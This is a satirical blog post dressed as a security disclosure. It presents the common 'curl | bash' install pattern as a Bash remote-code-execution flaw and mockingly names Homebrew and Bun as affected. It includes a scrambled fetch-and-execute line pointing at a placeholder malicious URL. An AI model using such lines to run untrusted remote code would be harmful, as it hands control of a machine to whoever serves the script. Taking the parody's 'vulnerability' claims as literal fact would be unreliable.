Bash Arbitrary Code Execution

Preface

Quite some time ago I’ve encountered a curious and (most horrifyingly) widespread vulnerability in Bash command line shell that allows an arbitrary code execution on any given machine.

I feel that all the neccessary embargo terms have since passed so it is crucial to address the problem, inform the public and let end users mitigate the problem without relying on operating system vendors that proved to be very unreliable in that regard.

Affected platforms

So far I’ve seen that majority the affected operating systems are macOS, with GNU/Linux and BSD systems of a lesser extent. Microsoft Windows is on par with TempleOS here in regard of security for they both share the curious trait of not having bash in their default setup. That being said I’ve had issues of replicating the issue on version 3.1 of the former OS.

Another critical trait is that the vulnerability holds strong across various CPU architectures: RISC-V, amd64, i386, arm32, arm64 and so on.

Interestingly enough the very foundation of intel’s processors - Intel 8086 - is not affected and I’ve seen no viable implementation of the vulnerability on that CPU, albeit it is not theoretically impossible.

The gist of the issue

So the preliminary setup for the vulnerability is generic and is present across various platforms: the web-browser (preferrably that supports JavaScript, but that’s not a hard dependency) and a terminal emulator on the system.

The attacker (A1) informs the attackee (A2) on their website about a method of installing some software and provides an “helpful” instruction that actually tricks the careless operator to execute the malicious code.

.____.                          .____.
| A1 | ---> [ payload #1 ] ---> | A2 |
`----'                          `----'
  ^                                |
  L_________[ payload #2 ] ________J                                

The attack vector is the following: A1 publishes a string to copypaste into the clipboard (usually) that often has helpful “copy” button a string, that then they instruct user (A2) to paste into their terminal emulator of choice.

The payload is usually the following:

curl https:\\MALICIOUS_URL | bash

(I scrambled the example here a little to not give script kiddies a ready-to-go example to inject around, you can figure out the real payload by digging a little bit into the RFC)

After pressing enter the first payload (the URI) is being loaded onto the vulnerable PC and then executed in place, loading the second stage payload - the shell script - that runs freely on the target machine.

Some nefarious versions of this RCE even involve doing the part under root shell - either directly or through ‘sudo’ prompt.

It Is In The Wild

The reason I’ve decided to publish this because I see that issue has already started catching up and lots of online resources are affected by it, infecting lots of computers around.

One of the most prominent examples is brew that actually has a new trick in their sleeve: instead of usual pattern curl ... | bash they obscure it by providing a payload like bash "$(curl ...)" which is essentially the same thing.

Another big project that infected quite a lot of users is Bun - it got a lot of traction recently for unrelated reasons, involving shady transformation of codebase from one programming language to another.

Mitigation

It is hard and simple at the same time. I’m sure some of the readers will even find it laughable, but if I compress the solution into one sentence it would be ‘do not run random crap on your PC’.

The Hardest Part

I’ve yet to decide how to name that RCE; I know that giving a catchy name with dedicated domain is around 95% of all the work, but the implication of this thing felt far too heavy to me that I had to rush with this post.

For now I’m torn between ‘Bashbleed’ and ‘curlcry’.